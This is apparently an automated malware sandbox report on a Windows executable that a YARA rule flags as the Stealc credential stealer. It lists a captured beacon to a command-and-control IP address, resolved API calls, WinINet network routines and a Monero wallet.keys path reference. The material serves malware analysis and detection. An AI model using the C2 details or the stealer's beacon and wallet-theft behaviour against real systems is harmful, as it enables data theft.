Oct 14, 2024 17:18:14.867588997 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJE Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 44 35 31 45 33 42 31 30 36 34 41 35 36 33 34 38 34 31 34 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="hwid"8D51E3B1064A563484146------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="build"doma------JJJDGIECFCAKKFHIIIJE--
Oct 14, 2024 17:18:15.099164009 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 15:18:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	11:18:08
Start date:	14/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x670000
File size:	1'847'296 bytes
MD5 hash:	BF6DE6E8D3AC5123B66BA93633AFFE66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1367632682.000000000129E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1325704313.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00689860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,012B1630), ref: 006898A1
GetProcAddress.KERNEL32(77190000,012B15E8), ref: 006898BA
GetProcAddress.KERNEL32(77190000,012B1648), ref: 006898D2
GetProcAddress.KERNEL32(77190000,012B1678), ref: 006898EA
GetProcAddress.KERNEL32(77190000,012B1528), ref: 00689903
GetProcAddress.KERNEL32(77190000,012B8A68), ref: 0068991B
GetProcAddress.KERNEL32(77190000,012A5588), ref: 00689933
GetProcAddress.KERNEL32(77190000,012A54C8), ref: 0068994C
GetProcAddress.KERNEL32(77190000,012B1690), ref: 00689964
GetProcAddress.KERNEL32(77190000,012B16A8), ref: 0068997C
GetProcAddress.KERNEL32(77190000,012B17C8), ref: 00689995
GetProcAddress.KERNEL32(77190000,012B16D8), ref: 006899AD
GetProcAddress.KERNEL32(77190000,012A56A8), ref: 006899C5
GetProcAddress.KERNEL32(77190000,012B16F0), ref: 006899DE
GetProcAddress.KERNEL32(77190000,012B17E0), ref: 006899F6
GetProcAddress.KERNEL32(77190000,012A53E8), ref: 00689A0E
GetProcAddress.KERNEL32(77190000,012B1738), ref: 00689A27
GetProcAddress.KERNEL32(77190000,012B14F8), ref: 00689A3F
GetProcAddress.KERNEL32(77190000,012A5508), ref: 00689A57
GetProcAddress.KERNEL32(77190000,012B1870), ref: 00689A70
GetProcAddress.KERNEL32(77190000,012A56C8), ref: 00689A88
LoadLibraryA.KERNEL32(012B18B8,?,00686A00), ref: 00689A9A
LoadLibraryA.KERNEL32(012B18A0,?,00686A00), ref: 00689AAB
LoadLibraryA.KERNEL32(012B1858,?,00686A00), ref: 00689ABD
LoadLibraryA.KERNEL32(012B1828,?,00686A00), ref: 00689ACF
LoadLibraryA.KERNEL32(012B1888,?,00686A00), ref: 00689AE0
GetProcAddress.KERNEL32(76850000,012B17F8), ref: 00689B02
GetProcAddress.KERNEL32(77040000,012B1810), ref: 00689B23
GetProcAddress.KERNEL32(77040000,012B1840), ref: 00689B3B
GetProcAddress.KERNEL32(75A10000,012B9068), ref: 00689B5D
GetProcAddress.KERNEL32(75690000,012A53C8), ref: 00689B7E
GetProcAddress.KERNEL32(776F0000,012B8A48), ref: 00689B9F
GetProcAddress.KERNEL32(776F0000,NtQueryInformationProcess), ref: 00689BB6

Strings

NtQueryInformationProcess, xrefs: 00689BAA

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: f53d8814f2569a682390e1abf0e22acac84d46a38cbdc725f800bd66523d74c9
Instruction ID: 78309bd6c08e393ee3e91103abc583e7ebee967f537d0cf774e0c11139bb6cc6
Opcode Fuzzy Hash: f53d8814f2569a682390e1abf0e22acac84d46a38cbdc725f800bd66523d74c9
Instruction Fuzzy Hash: FCA19FB5508640AFC35CEFA8FD889663BF9F74C301754472AE659C3634DB3A9841CB2A

Function 006745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0067460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0067479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006745F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006746D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006746AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0067473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0067475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0067477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006745E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0067462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0067466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006746B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0067471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006745C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006746CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006745D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00674678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0067474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006745DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006746C2

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 05a19268384055edfed209a6ef7dbf1e4fac16bdd1d190c2ba487650e4def7d4
Instruction ID: a0aefc66302cf818270491f28ef25d276da5f776e2d532749f23d86a9fdd9839
Opcode Fuzzy Hash: 05a19268384055edfed209a6ef7dbf1e4fac16bdd1d190c2ba487650e4def7d4
Instruction Fuzzy Hash: E6411530FDF604EACE25B7A4A8FEDDD7B5B6F53F04F415088BC2752680CAA26500C696

Function 00674880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Part of subcall function 006747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00674839
Part of subcall function 006747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00674849

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00674915
StrCmpCA.SHLWAPI(?,012BF3F0), ref: 0067493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00674ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00690DDB,00000000,?,?,00000000,?,",00000000,?,012BF4B0), ref: 00674DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00674E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00674E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00674E49
InternetCloseHandle.WININET(00000000), ref: 00674EAD
InternetCloseHandle.WININET(00000000), ref: 00674EC5
HttpOpenRequestA.WININET(00000000,012BF4A0,?,012BEBF8,00000000,00000000,00400100,00000000), ref: 00674B15

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

InternetCloseHandle.WININET(00000000), ref: 00674ECF

Strings

------, xrefs: 00674B28
", xrefs: 00674D33
", xrefs: 00674BF2
------, xrefs: 006749BD
------, xrefs: 00674C69

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: b7dd21d8f9ac918c3f49f4aa893bf2967a70252c829dbbcc5ff1d13c57987c00
Instruction ID: b8ac00ca8e09ae115719ae5b5f50ea4f72599b96d9ac2bd88c8a81cf9471bc91
Opcode Fuzzy Hash: b7dd21d8f9ac918c3f49f4aa893bf2967a70252c829dbbcc5ff1d13c57987c00
Instruction Fuzzy Hash: 6412EC71911118AAEB55FB90DC92FEEB33AAF14300F50429EF50672491EF742F49CB6A

Function 00687850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006711B7), ref: 00687880
RtlAllocateHeap.NTDLL(00000000), ref: 00687887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0068789F

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 71aa66f29927e053b54f7e2de70abdda607e9f4359d670733cf74fbf16ec8805
Instruction ID: 03152a2bba428dd0d0e8139d05c438067915efbbaf8fb19326dba88343a1d68e
Opcode Fuzzy Hash: 71aa66f29927e053b54f7e2de70abdda607e9f4359d670733cf74fbf16ec8805
Instruction Fuzzy Hash: 41F04FF1944208ABC704DF98DD49FAEBBB8FB04711F10026AFA05A2680C77555048BA1

Function 00671160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0067116A
ExitProcess.KERNEL32 ref: 0067117E

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: c15d7193b14491d3865bc19698ca32ddcb7b1843a629d324139ff7db2b80e39f
Instruction ID: 79502440fc4bf89341e9ed9f13e342ab5c2f110ece3341489340809e2e36844d
Opcode Fuzzy Hash: c15d7193b14491d3865bc19698ca32ddcb7b1843a629d324139ff7db2b80e39f
Instruction Fuzzy Hash: 34D05E7490430CDBCB04DFE0D8496DDBB78FB08321F000695D90562340EA315481CAAA

Function 00689C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,012A5548), ref: 00689C2D
GetProcAddress.KERNEL32(77190000,012A5388), ref: 00689C45
GetProcAddress.KERNEL32(77190000,012B8F90), ref: 00689C5E
GetProcAddress.KERNEL32(77190000,012B8DC8), ref: 00689C76
GetProcAddress.KERNEL32(77190000,012B8FA8), ref: 00689C8E
GetProcAddress.KERNEL32(77190000,012BD320), ref: 00689CA7
GetProcAddress.KERNEL32(77190000,012AA8E8), ref: 00689CBF
GetProcAddress.KERNEL32(77190000,012BD2A8), ref: 00689CD7
GetProcAddress.KERNEL32(77190000,012BD1B8), ref: 00689CF0
GetProcAddress.KERNEL32(77190000,012BD0F8), ref: 00689D08
GetProcAddress.KERNEL32(77190000,012BD050), ref: 00689D20
GetProcAddress.KERNEL32(77190000,012A55A8), ref: 00689D39
GetProcAddress.KERNEL32(77190000,012A54E8), ref: 00689D51
GetProcAddress.KERNEL32(77190000,012A5468), ref: 00689D69
GetProcAddress.KERNEL32(77190000,012A55C8), ref: 00689D82
GetProcAddress.KERNEL32(77190000,012BD1E8), ref: 00689D9A
GetProcAddress.KERNEL32(77190000,012BD110), ref: 00689DB2
GetProcAddress.KERNEL32(77190000,012AA5C8), ref: 00689DCB
GetProcAddress.KERNEL32(77190000,012A5488), ref: 00689DE3
GetProcAddress.KERNEL32(77190000,012BD260), ref: 00689DFB
GetProcAddress.KERNEL32(77190000,012BD170), ref: 00689E14
GetProcAddress.KERNEL32(77190000,012BD1D0), ref: 00689E2C
GetProcAddress.KERNEL32(77190000,012BD128), ref: 00689E44
GetProcAddress.KERNEL32(77190000,012A55E8), ref: 00689E5D
GetProcAddress.KERNEL32(77190000,012BD230), ref: 00689E75
GetProcAddress.KERNEL32(77190000,012BD080), ref: 00689E8D
GetProcAddress.KERNEL32(77190000,012BD098), ref: 00689EA6
GetProcAddress.KERNEL32(77190000,012BD200), ref: 00689EBE
GetProcAddress.KERNEL32(77190000,012BD2F0), ref: 00689ED6
GetProcAddress.KERNEL32(77190000,012BD068), ref: 00689EEF
